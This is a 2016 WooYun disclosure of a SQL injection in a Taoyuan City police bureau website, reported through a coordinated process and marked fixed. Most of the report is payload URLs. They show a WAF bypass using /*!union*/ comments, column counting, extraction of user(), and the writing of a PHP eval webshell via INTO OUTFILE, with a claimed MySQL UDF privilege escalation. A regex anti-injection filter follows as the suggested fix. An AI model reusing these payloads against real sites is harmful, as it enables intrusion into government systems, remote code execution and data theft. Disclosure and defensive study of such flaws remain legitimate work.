当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170682

漏洞标题:桃園市政府警察局注入漏洞可Getshell涉及多個資料庫(臺灣地區)

相关厂商:桃園市政府警察局

漏洞作者: 路人甲

提交时间:2016-01-20 16:00

修复时间:2016-02-28 23:32

公开时间:2016-02-28 23:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态: 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-23: 厂商已经确认,细节仅向厂商公开
2016-02-02: 细节向核心白帽子及相关领域专家公开
2016-02-12: 细节向普通白帽子公开
2016-02-22: 细节向实习白帽子公开
2016-02-28: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990%27

MySQL Query Error


http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 and 1=1被攔截了。
不過這種waf很容易繞過,多一個空格即可。
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 and 1=1
返回正常
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 and 1=2
無內容
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 order by 38
返回正常
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=95990 order by 39

MySQL Query Error


使用union select 直接攔截,這裡我們把它用URL編碼一下,變成:
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=-95990%20/*!union*/%20/*!select*/%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38

01.png


http://**.**.**.**/newtyhp/mobile/news_detail.php?id=-95990%20/*!union*/%20/*!select*/%201,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38

root@localhost
5


root權限,gpc=off,接著找網站路徑,可以寫入webshell
這個文件剛好洩漏了網站路徑:http://**.**.**.**/global.php

Warning: require(./include/lib/DB_CONN.inc.php): failed to open stream: No such file or directory in D:\Server\htdocs1\global.php on line 50 Fatal error: require(): Failed opening required './include/lib/DB_CONN.inc.php' (include_path='.;C:\php\pear') in D:\Server\htdocs1\global.php on line 50


D:\Server\htdocs1\這個就是網站的根目錄。
寫入webshell:
http://**.**.**.**/newtyhp/mobile/news_detail.php?id=-95990%20/*!union*/%20/*!select*/%201,2,3,4,'<?php eval($_POST[haihai])?>',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38%20%20%20into%20%20%20outfile%20%20%20%27D:/Server/htdocs1/newtyhp/mobile/haihaia.php%27

02.png

漏洞证明:

02.png


03.png


已經利用mysql udf成功提權!
相關資料有很多,沒繼續深入。

修复方案:

直接用個防注入程式碼就可以防禦了。

<?php
//Code By Safe3
function customError($errno, $errstr, $errfile, $errline)
{
echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=implode($StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
print "依刑法 第 三十六 章 妨害電腦使用罪,系統已紀錄您IP,請在家等待法院傳票!";
exit();
}
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
StopAttack($key,$value,$cookiefilter);
}
if (file_exists('update360.php')) {
echo "請重新命名文件update360.php,防止駭客利用<br/>";
die();
}
function slog($logs)
{
$toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
$Ts=fopen($toppath,"a+");
fputs($Ts,$logs."\r\n");
fclose($Ts);
}
?>

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-01-23 02:58

厂商回复:

感謝通報

最新状态:

2016-02-28:已修復